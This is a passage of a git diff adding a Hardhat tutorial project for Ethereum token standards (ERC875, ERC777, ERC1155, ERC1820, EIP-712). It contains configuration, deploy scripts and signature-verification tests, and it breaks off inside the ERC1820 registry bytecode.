+    function transfer(address _to, uint256[] _tokens) public;
+    function transferFrom(address _from, address _to, uint256[] _tokens) public;
+
+    //optional
+    //function totalSupply() public constant returns (uint256 totalSupply);
+    function trade(uint256 expiryTimeStamp, uint256[] tokenIndices, uint8 v, bytes32 r, bytes32 s) public payable;
+    //function ownerOf(uint256 _tokenId) public view returns (address _owner);
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/hardhat.config.js b/basic/23-erc865-and-erc875/hardhat.config.js
new file mode 100644
index 000000000..4c346d0c5
--- /dev/null
+++ b/basic/23-erc865-and-erc875/hardhat.config.js
@@ -0,0 +1,79 @@
+require('@nomiclabs/hardhat-waffle');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+function mnemonicAlice() {
+  return process.env.PRIVATE_KEY_ALICE;
+}
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.1', settings },
+      { version: '0.8.8', settings },
+      { version: '0.6.2', settings },
+      { version: '0.5.16', settings },
+      { version: '0.4.25', settings },
+      { version: '0.5.3', settings },
+    ],
+  },
+  networks: {
+    hardhat: {
+      accounts: {
+        // mnemonic: 'test test test test test test test test test test test junk', //助记池 BIP39 定义的 12 或 24 个单词的助记词。默认值：""
+        // count: 3,
+      },
+    },
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: 'https://rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic(), mnemonicAlice()],
+      gas: 2100000,
+      gasPrice: 8000000000,
+    },
+    kovan: {
+      url: 'https://kovan.infura.io/v3/' + +process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + +process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + +process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+  mocha: {
+    timeout: 60000,
+  },
+};
diff --git a/basic/23-erc865-and-erc875/img/image-20220325101549118.png b/basic/23-erc865-and-erc875/img/image-20220325101549118.png
new file mode 100644
index 000000000..12c44b9a2
Binary files /dev/null and b/basic/23-erc865-and-erc875/img/image-20220325101549118.png differ
diff --git a/basic/23-erc865-and-erc875/img/image-20220325101607225.png b/basic/23-erc865-and-erc875/img/image-20220325101607225.png
new file mode 100644
index 000000000..e3eb45d34
Binary files /dev/null and b/basic/23-erc865-and-erc875/img/image-20220325101607225.png differ
diff --git a/basic/23-erc865-and-erc875/img/image-20220325103103575.png b/basic/23-erc865-and-erc875/img/image-20220325103103575.png
new file mode 100644
index 000000000..2565cae1f
Binary files /dev/null and b/basic/23-erc865-and-erc875/img/image-20220325103103575.png differ
diff --git a/basic/23-erc865-and-erc875/package.json b/basic/23-erc865-and-erc875/package.json
new file mode 100644
index 000000000..7afff6dcd
--- /dev/null
+++ b/basic/23-erc865-and-erc875/package.json
@@ -0,0 +1,22 @@
+{
+  "name": "hardhat-project",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "bignumber.js": "^8.0.2",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0",
+    "ethereumjs-util": "^5.1.3",
+    "ethers": "^5.3.1",
+    "hardhat": "^2.3.3"
+  },
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.5.0",
+    "dotenv": "^10.0.0",
+    "ethereumjs-abi": "^0.6.8",
+    "ethers-eip712": "^0.2.0"
+  }
+}
diff --git a/basic/23-erc865-and-erc875/scripts/deploy-ERC777Sender.js b/basic/23-erc865-and-erc875/scripts/deploy-ERC777Sender.js
new file mode 100644
index 000000000..3d58d50bb
--- /dev/null
+++ b/basic/23-erc865-and-erc875/scripts/deploy-ERC777Sender.js
@@ -0,0 +1,46 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+const fs = require('fs');
+
+function saveFrontendFiles(token) {
+  const contractsDir = __dirname + '/../'
+
+  if (!fs.existsSync(contractsDir)) {
+    fs.mkdirSync(contractsDir)
+  }
+
+  fs.writeFileSync(
+    contractsDir + '/Simple777Sender-address.json',
+    JSON.stringify({ contractAddress: token.address }, undefined, 2)
+  )
+}
+
+async function main() {
+
+    const [deployer,alice] = await ethers.getSigners();
+
+    console.log("Going to deploy Simple777Sender, please be patient");
+    const simple777SenderFactory = await ethers.getContractFactory("Simple777Sender");
+    const simple777SenderContract = await simple777SenderFactory.deploy();
+    await simple777SenderContract.deployed()
+
+    // Save address to file
+    saveFrontendFiles(simple777SenderContract);
+
+    console.log("Deploy successfully, Simple777Sender address: ", simple777SenderContract.address);
+}
+
+
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/23-erc865-and-erc875/scripts/deploy-ERC777Token.js b/basic/23-erc865-and-erc875/scripts/deploy-ERC777Token.js
new file mode 100644
index 000000000..8abd51dfa
--- /dev/null
+++ b/basic/23-erc865-and-erc875/scripts/deploy-ERC777Token.js
@@ -0,0 +1,52 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require("hardhat");
+const fs = require('fs');
+
+function saveFrontendFiles(token) {
+  const contractsDir = __dirname + '/../'
+
+  if (!fs.existsSync(contractsDir)) {
+    fs.mkdirSync(contractsDir)
+  }
+
+  fs.writeFileSync(
+    contractsDir + '/Simple777Token-address.json',
+    JSON.stringify({ contractAddress: token.address }, undefined, 2)
+  )
+}
+
+async function main() {
+
+    const [deployer,alice] = await ethers.getSigners();
+
+    console.log("Going to deploy Simple777Token, please be patient");
+    const simple777TokenFactory = await ethers.getContractFactory("Simple777Token");
+    const simple777TokenContract = await simple777TokenFactory.deploy();
+    await simple777TokenContract.deployed()
+
+    // Save address to file
+    saveFrontendFiles(simple777TokenContract);
+
+    console.log("Deploy successfully, Simple777Token address: ", simple777TokenContract.address);
+
+    // Send ERC777 Token to Alice
+    console.log("Going to send ERC777 token to Alice");
+    const data = ethers.utils.formatBytes32String("777TestData")
+    await simple777TokenContract.send(alice.address, 10000,data);
+    console.log("Send ERC777 token successfully");
+}
+
+
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/Example23-erc865-and-erc875/scripts/script_utils/util.js b/basic/23-erc865-and-erc875/scripts/script_utils/util.js
similarity index 100%
rename from Example23-erc865-and-erc875/scripts/script_utils/util.js
rename to basic/23-erc865-and-erc875/scripts/script_utils/util.js
diff --git a/basic/23-erc865-and-erc875/test/VerifySignature.test.js b/basic/23-erc865-and-erc875/test/VerifySignature.test.js
new file mode 100644
index 000000000..991a10ee9
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/VerifySignature.test.js
@@ -0,0 +1,292 @@
+require('@nomiclabs/hardhat-waffle');
+const { expect } = require('chai');
+const fs = require('fs');
+const { ethers } = require('hardhat');
+
+const {
+  encrypt,
+  recoverPersonalSignature,
+  recoverTypedSignatureLegacy,
+  signTypedDataLegacy,
+  recoverTypedSignature,
+  recoverTypedSignature_v4,
+} = require('eth-sig-util');
+
+const { BigNumber, utils, provider } = ethers;
+const {
+  solidityPack,
+  concat,
+  toUtf8Bytes,
+  keccak256,
+  SigningKey,
+  formatBytes32String,
+} = utils;
+
+describe('VerifySignature', () => {
+  let contract;
+  beforeEach(async () => {
+    const VerifySignature = await ethers.getContractFactory('VerifySignature');
+    contract = await VerifySignature.deploy();
+    await contract.deployed();
+  });
+
+  it('should be deployed', async () => {
+    expect(await contract.deployed()).to.equal(contract);
+  });
+  it('personal_sign_string', async () => {
+    const [signer] = await ethers.getSigners();
+    console.log('signer address = ', signer.address);
+    const message = 'Example `personal_sign` message';
+    const hashedMessage = utils.keccak256(utils.toUtf8Bytes(message));
+    // const hashedMessage = `0x${Buffer.from(message, 'utf8').toString('hex')}`;
+    console.log(`hashedMessage = `, hashedMessage);
+
+    const signature = await provider.send('personal_sign', [
+      hashedMessage,
+      signer.address,
+    ]);
+    console.log(`signature = `, signature);
+
+    const jsRecoveredAddr = recoverPersonalSignature({
+      data: hashedMessage,
+      sig: signature,
+    });
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(await signer.address.toUpperCase()).to.equal(
+      jsRecoveredAddr.toUpperCase()
+    );
+
+    const contractRecoveredResult = await contract.verify(message, signature);
+    console.log('contractRecoveredResult = ', contractRecoveredResult);
+    expect(await signer.address.toUpperCase()).to.equal(
+      contractRecoveredResult.toUpperCase()
+    );
+  });
+
+  it('personal_sign_data', async () => {
+    const [signer] = await ethers.getSigners();
+    console.log('signer address = ', signer.address);
+    const types = ['bytes', 'bytes', 'address', 'string', 'string', 'uint256'];
+    const values = [
+      '0x19',
+      '0x00',
+      '0x8ef9f0acfef3d9ab023812bb889a8f5a214b9b82',
+      '测试',
+      '{}',
+      1,
+    ];
+    const hashedMessage = utils.solidityKeccak256(types, values);
+    console.log(`hashedMessage = `, hashedMessage);
+
+    const signature = await provider.send('personal_sign', [
+      hashedMessage,
+      signer.address,
+    ]);
+    console.log(`signature = `, signature);
+
+    const jsRecoveredAddr = recoverPersonalSignature({
+      data: hashedMessage,
+      sig: signature,
+    });
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(await signer.address.toUpperCase()).to.equal(
+      jsRecoveredAddr.toUpperCase()
+    );
+
+    const contractRecoveredResult = await contract.verify2(
+      hashedMessage,
+      signature
+    );
+    console.log('contractRecoveredResult = ', contractRecoveredResult);
+    expect(await signer.address.toUpperCase()).to.equal(
+      contractRecoveredResult.toUpperCase()
+    );
+  });
+
+  it('struct_sign_typed_data_v1', async () => {
+    const [signer] = await ethers.getSigners();
+
+    // 这里我们的私钥，是通过`npx hardhat node`来得到的。
+    signer.privateKey =
+      '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80';
+    console.log('signer address = ', signer.address);
+    const msgParams = [
+      {
+        type: 'string',
+        name: 'Message',
+        value: 'Hi, Alice!',
+      },
+      {
+        type: 'uint32',
+        name: 'Value',
+        value: 1337,
+      },
+    ];
+    const privateKey1Buffer = Buffer.from(signer.privateKey, 'hex');
+    const signature = signTypedDataLegacy(privateKey1Buffer, {
+      data: msgParams,
+    });
+
+    // 如果是metmask插件，可以调用下面的方法
+    // const signature = await provider.send('eth_signTypedData', [msgParams, signer.address]);
+    const jsRecoveredAddr = recoverTypedSignatureLegacy({
+      data: msgParams,
+      sig: signature,
+    });
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(signer.address.toUpperCase()).to.equal(
+      jsRecoveredAddr.toUpperCase()
+    );
+  });
+
+  it('struct_sign_typed_data_v3', async () => {
+    const [signer] = await ethers.getSigners();
+    console.log('signer address = ', signer.address);
+    const network = await provider.getNetwork();
+    const chainId = network.chainId;
+    console.log('chainId = ', network.chainId);
+    console.log(`contract address = `, contract.address);
+    const msgParams = {
+      types: {
+        Person: [
+          { name: 'name', type: 'string' },
+          { name: 'wallet', type: 'address' },
+        ],
+        Mail: [
+          { name: 'from', type: 'Person' },
+          { name: 'to', type: 'Person' },
+          { name: 'contents', type: 'string' },
+        ],
+      },
+      primaryType: 'Mail',
+      domain: {
+        name: 'Ether Mail',
+        version: '1',
+        chainId,
+        verifyingContract: contract.address,
+      },
+      message: {
+        from: {
+          name: 'Cow',
+          wallet: '0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826',
+        },
+        to: {
+          name: 'Bob',
+          wallet: '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB',
+        },
+        contents: 'Hello, Bob!',
+      },
+    };
+
+    const signature = await signer._signTypedData(
+      msgParams.domain,
+      msgParams.types,
+      msgParams.message
+    );
+    console.log(`signature = `, signature);
+    // 如果是metmask插件，可以调用下面的方法
+    // const signature = await provider.send('eth_signTypedData_v3', [signer.address, msgParams]);
+
+    const jsRecoveredAddr = utils.verifyTypedData(
+      msgParams.domain,
+      msgParams.types,
+      msgParams.message,
+      signature
+    );
+    // const jsRecoveredAddr = recoverTypedSignature({
+    //   data: msgParams,
+    //   sig: signature,
+    // });
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(signer.address.toUpperCase()).to.equal(
+      jsRecoveredAddr.toUpperCase()
+    );
+
+    const contractRecoveredResult = await contract.verify3(
+      msgParams.message,
+      signature
+    );
+    console.log('contractRecoveredResult = ', contractRecoveredResult);
+    expect(await signer.address.toUpperCase()).to.equal(
+      contractRecoveredResult.toUpperCase()
+    );
+  });
+
+  it('struct_sign_typed_data_v4', async () => {
+    const [signer] = await ethers.getSigners();
+    console.log('signer address = ', signer.address);
+    const network = await provider.getNetwork();
+    const chainId = network.chainId;
+    console.log('chainId = ', network.chainId);
+    console.log(`contract address = `, contract.address);
+    const msgParams = {
+      domain: {
+        version: '1',
+        name: 'Ether Mail',
+        chainId,
+        verifyingContract: contract.address,
+      },
+      message: {
+        // contents: 'Hello, Bob!',
+        // from: {
+        // name: 'Cow',
+        // wallets: ['0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826', '0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF'],
+        // },
+        // to: [
+        //   {
+        //     name: 'Bob',
+        //     wallets: [
+        //       '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB',
+        //       '0xB0BdaBea57B0BDABeA57b0bdABEA57b0BDabEa57',
+        //       '0xB0B0b0b0b0b0B000000000000000000000000000',
+        //     ],
+        //   },
+        // ],
+        data: ['1', '2', '3'],
+      },
+      primaryType: 'Message',
+      types: {
+        // Mail: [
+        //   { name: 'from', type: 'Person' },
+        //   { name: 'to', type: 'Person[]' },
+        //   { name: 'contents', type: 'string' },
+        // ],
+        // Person: [
+        //   { name: 'name', type: 'string' },
+        //   { name: 'wallets', type: 'address[]' },
+        // ],
+        Message: [{ name: 'data', type: 'string[]' }],
+      },
+    };
+
+    const signature = await signer._signTypedData(
+      msgParams.domain,
+      msgParams.types,
+      msgParams.message
+    );
+    console.log(`signature = `, signature);
+    // 如果是metmask插件，可以调用下面的方法
+    // const signature = await provider.send('eth_signTypedData_v4', [signer.address, msgParams]);
+
+    const jsRecoveredAddr = utils.verifyTypedData(
+      msgParams.domain,
+      msgParams.types,
+      msgParams.message,
+      signature
+    );
+
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(signer.address.toUpperCase()).to.equal(
+      jsRecoveredAddr.toUpperCase()
+    );
+
+    const contractRecoveredResult = await contract.verify4(
+      msgParams.message,
+      signature
+    );
+    console.log('contractRecoveredResult = ', contractRecoveredResult);
+    expect(await signer.address.toUpperCase()).to.equal(
+      contractRecoveredResult.toUpperCase()
+    );
+  });
+});
diff --git a/basic/23-erc865-and-erc875/test/test-EIP712.js b/basic/23-erc865-and-erc875/test/test-EIP712.js
new file mode 100644
index 000000000..903ff03d6
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/test-EIP712.js
@@ -0,0 +1,194 @@
+const ethUtil = require('ethereumjs-util');
+const abi = require('ethereumjs-abi');
+const chai = require('chai');
+const { expect } = require('chai');
+require('dotenv').config();
+
+const typedData = {
+  types: {
+    EIP712Domain: [
+      { name: 'name', type: 'string' },
+      { name: 'version', type: 'string' },
+      { name: 'chainId', type: 'uint256' },
+      { name: 'verifyingContract', type: 'address' },
+    ],
+    Person: [
+      { name: 'name', type: 'string' },
+      { name: 'wallet', type: 'address' },
+    ],
+    Mail: [
+      { name: 'from', type: 'Person' },
+      { name: 'to', type: 'Person' },
+      { name: 'contents', type: 'string' },
+    ],
+  },
+  primaryType: 'Mail',
+  domain: {
+    name: 'Ether Mail',
+    version: '1',
+    chainId: 1,
+    verifyingContract: '0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC',
+  },
+  message: {
+    from: {
+      name: 'Cow',
+      wallet: '0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826',
+    },
+    to: {
+      name: 'Bob',
+      wallet: '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB',
+    },
+    contents: 'Hello, Bob!',
+  },
+};
+
+const types = typedData.types;
+
+// Recursively finds all the dependencies of a type
+function dependencies(primaryType, found = []) {
+  if (found.includes(primaryType)) {
+    return found;
+  }
+  if (types[primaryType] === undefined) {
+    return found;
+  }
+  found.push(primaryType);
+  for (let field of types[primaryType]) {
+    for (let dep of dependencies(field.type, found)) {
+      if (!found.includes(dep)) {
+        found.push(dep);
+      }
+    }
+  }
+  return found;
+}
+
+function encodeType(primaryType) {
+  // Get dependencies primary first, then alphabetical
+  let deps = dependencies(primaryType);
+  deps = deps.filter((t) => t != primaryType);
+  deps = [primaryType].concat(deps.sort());
+
+  // Format as a string with fields
+  let result = '';
+  for (let type of deps) {
+    result += `${type}(${types[type]
+      .map(({ name, type }) => `${type} ${name}`)
+      .join(',')})`;
+  }
+  return result;
+}
+
+function typeHash(primaryType) {
+  return ethUtil.keccak256(encodeType(primaryType));
+}
+
+function encodeData(primaryType, data) {
+  let encTypes = [];
+  let encValues = [];
+
+  // Add typehash
+  encTypes.push('bytes32');
+  encValues.push(typeHash(primaryType));
+
+  // Add field contents
+  for (let field of types[primaryType]) {
+    let value = data[field.name];
+    if (field.type == 'string' || field.type == 'bytes') {
+      encTypes.push('bytes32');
+      value = ethUtil.keccak256(value);
+      encValues.push(value);
+    } else if (types[field.type] !== undefined) {
+      encTypes.push('bytes32');
+      value = ethUtil.keccak256(encodeData(field.type, value));
+      encValues.push(value);
+    } else if (field.type.lastIndexOf(']') === field.type.length - 1) {
+      throw 'TODO: Arrays currently unimplemented in encodeData';
+    } else {
+      encTypes.push(field.type);
+      encValues.push(value);
+    }
+  }
+
+  return abi.rawEncode(encTypes, encValues);
+}
+
+function structHash(primaryType, data) {
+  return ethUtil.keccak256(encodeData(primaryType, data));
+}
+
+function signHash() {
+  return ethUtil.keccak256(
+    Buffer.concat([
+      Buffer.from('1901', 'hex'),
+      structHash('EIP712Domain', typedData.domain),
+      structHash(typedData.primaryType, typedData.message),
+    ])
+  );
+}
+
+describe('EIP712 compatible logic', async () => {
+  it('Test the function of EIP712', async () => {
+    // Get test privatekey
+    const privateKey = ethUtil.keccak256('cow');
+    const targetAddress = ethUtil.privateToAddress(privateKey).toString('hex');
+    const sig = ethUtil.ecsign(signHash(), privateKey);
+
+    const eip712Factory = await ethers.getContractFactory('EIP712Test');
+
+    const eip712Contract = await eip712Factory.deploy();
+
+    // Set info of from
+    await eip712Contract.setFrom(
+      targetAddress,
+      typedData.message.from.name,
+      typedData.message.from.wallet
+    );
+
+    // Set info of to
+    await eip712Contract.setTo(
+      targetAddress,
+      typedData.message.to.name,
+      typedData.message.to.wallet
+    );
+
+    // Set content
+    await eip712Contract.setContent(targetAddress, typedData.message.contents);
+
+    // Get ecrecover address
+    expect(
+      await eip712Contract.verify(
+        targetAddress,
+        sig.v,
+        ethUtil.bufferToHex(sig.r),
+        ethUtil.bufferToHex(sig.s)
+      )
+    ).to.be.true;
+
+    /* const privateKey = ethUtil.keccak256('cow');
+        const address = ethUtil.privateToAddress(privateKey);
+        const sig = ethUtil.ecsign(signHash(), privateKey);
+
+        const expect = chai.expect;
+        expect(encodeType('Mail')).to.equal('Mail(Person from,Person to,string contents)Person(string name,address wallet)');
+        expect(ethUtil.bufferToHex(typeHash('Mail'))).to.equal(
+            '0xa0cedeb2dc280ba39b857546d74f5549c3a1d7bdc2dd96bf881f76108e23dac2',
+        );
+        expect(ethUtil.bufferToHex(encodeData(typedData.primaryType, typedData.message))).to.equal(
+            '0xa0cedeb2dc280ba39b857546d74f5549c3a1d7bdc2dd96bf881f76108e23dac2fc71e5fa27ff56c350aa531bc129ebdf613b772b6604664f5d8dbe21b85eb0c8cd54f074a4af31b4411ff6a60c9719dbd559c221c8ac3492d9d872b041d703d1b5aadf3154a261abdd9086fc627b61efca26ae5702701d05cd2305f7c52a2fc8',
+        );
+        expect(ethUtil.bufferToHex(structHash(typedData.primaryType, typedData.message))).to.equal(
+            '0xc52c0ee5d84264471806290a3f2c4cecfc5490626bf912d01f240d7a274b371e',
+        );
+        expect(ethUtil.bufferToHex(structHash('EIP712Domain', typedData.domain))).to.equal(
+            '0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f',
+        );
+        expect(ethUtil.bufferToHex(signHash())).to.equal('0xbe609aee343fb3c4b28e1df9e632fca64fcfaede20f02e86244efddf30957bd2');
+        expect(ethUtil.bufferToHex(address)).to.equal('0xcd2a3d9f938e13cd947ec05abc7fe734df8dd826');
+        expect(sig.v).to.equal(28);
+        expect(ethUtil.bufferToHex(sig.r)).to.equal('0x4355c47d63924e8a72e509b65029052eb6c299d53a04e167c5775fd466751c9d');
+        expect(ethUtil.bufferToHex(sig.s)).to.equal('0x07299936d304c153f6443dfa05f40ff007d72911b6f72307f996231605b91562');
+
+        console.log(process.env.PRIVATE_KEY); */
+  });
+});
diff --git a/basic/23-erc865-and-erc875/test/test-ERC1155.js b/basic/23-erc865-and-erc875/test/test-ERC1155.js
new file mode 100644
index 000000000..8a5d67e18
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/test-ERC1155.js
@@ -0,0 +1,97 @@
+const { expect } = require("chai");
+ 
+describe('ERC1155 compatible logic', async () => {
+
+  let owner;
+  let alice;
+  let bob;
+  let charlie;
+  let gameItemsContract;
+
+  beforeEach(async function () {
+    // get addresses
+    [owner,alice,bob,charlie] =  await hre.ethers.getSigners();
+
+    // Deploy ERC1155 contract
+    const gameItemsFactory = await ethers.getContractFactory("GameItems");
+    gameItemsContract = await gameItemsFactory.deploy();
+
+  });
+
+
+  it('Check Balance for each token', async () => {
+    // Check balance of token GOLD
+    let balanceOfGOLD = await gameItemsContract.balanceOf(owner.address,0);
+    expect(Number(balanceOfGOLD)).to.equal(10**18);
+
+    // Check balance of token SILVER
+    let balanceOfSILVER = await gameItemsContract.balanceOf(owner.address,1);
+    expect(Number(balanceOfSILVER)).to.equal(10**27);
+
+    // Check balance of token SILVER
+    let balanceOfTHORS_HAMMER = await gameItemsContract.balanceOf(owner.address,2);
+    expect(Number(balanceOfTHORS_HAMMER)).to.equal(1);
+
+    // Check balance of token SWORD
+    let balanceOfSWORD = await gameItemsContract.balanceOf(owner.address,3);
+    expect(Number(balanceOfSWORD)).to.equal(10**9);
+
+    // Check balance of token SHIELD
+    let balanceOfSHIELD = await gameItemsContract.balanceOf(owner.address,4);
+    expect(Number(balanceOfSHIELD)).to.equal(10**9);
+
+  })
+
+  it('Check Balance for each token', async () => {
+    // Check balance of token GOLD
+    let balanceOfGOLD = await gameItemsContract.balanceOf(owner.address,0);
+    expect(Number(balanceOfGOLD)).to.equal(10**18);
+
+    // Check balance of token SILVER
+    let balanceOfSILVER = await gameItemsContract.balanceOf(owner.address,1);
+    expect(Number(balanceOfSILVER)).to.equal(10**27);
+
+    // Check balance of token SILVER
+    let balanceOfTHORS_HAMMER = await gameItemsContract.balanceOf(owner.address,2);
+    expect(Number(balanceOfTHORS_HAMMER)).to.equal(1);
+
+    // Check balance of token SWORD
+    let balanceOfSWORD = await gameItemsContract.balanceOf(owner.address,3);
+    expect(Number(balanceOfSWORD)).to.equal(10**9);
+
+    // Check balance of token SHIELD
+    let balanceOfSHIELD = await gameItemsContract.balanceOf(owner.address,4);
+    expect(Number(balanceOfSHIELD)).to.equal(10**9);
+
+  })
+
+  it('Check batch balances for accounts', async () => {
+    // Check batch balance of alice
+    let accounts = [owner.address,owner.address,owner.address];
+    let ids = [0,1,2];
+    let batchBalance = await gameItemsContract.balanceOfBatch(accounts,ids);
+    expect(Number(batchBalance[0])).to.equal(10**18);
+    expect(Number(batchBalance[1])).to.equal(10**27);
+    expect(Number(batchBalance[2])).to.equal(1);
+
+  })
+
+  it('Batch Transfer', async () => {
+    // Approve for other account
+    await gameItemsContract.setApprovalForAll(alice.address,true);
+
+    // Batch Transfer from owner to alice
+    let ids = [0,1];
+    let amounts = [10,20];
+    const additionalData = ethers.utils.formatBytes32String("777TestData")
+    let gameItemsContractAlice = gameItemsContract.connect(alice);
+    await gameItemsContractAlice.safeBatchTransferFrom(owner.address,alice.address,ids,amounts,additionalData);
+
+    // Check balance 
+    let accounts = [alice.address,alice.address];
+    let batchBalance = await gameItemsContract.balanceOfBatch(accounts,ids);
+    expect(Number(batchBalance[0])).to.equal(10);
+    expect(Number(batchBalance[1])).to.equal(20);
+  })
+
+})
diff --git a/basic/23-erc865-and-erc875/test/test-ERC1820.js b/basic/23-erc865-and-erc875/test/test-ERC1820.js
new file mode 100644
index 000000000..f4cf61c04
--- /dev/null
+++ b/basic/23-erc865-and-erc875/test/test-ERC1820.js
@@ -0,0 +1,70 @@
+const { expect } = require("chai");
+const {ethers, waffle, network}  = require("hardhat");
+const abi = require("../artifacts/contracts/erc1820/ERC1820.sol/ERC1820Registry.json");
+const provider = waffle.provider;
+
+describe('ERC1820 logic', async () => {
+
+  let owner;
+  let erc1820;
+
+  beforeEach(async function () {
+    owner = await ethers.getSigner();
+    //1. Prepare root transaction
+    let deployTx = {
+      nonce: ethers.utils.hexlify(0),
+      to: "",
+      data: '0x608060405234801561001057600080fd5b506109c5806100206000396000f3fe608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473fffffffffffffffffffffffff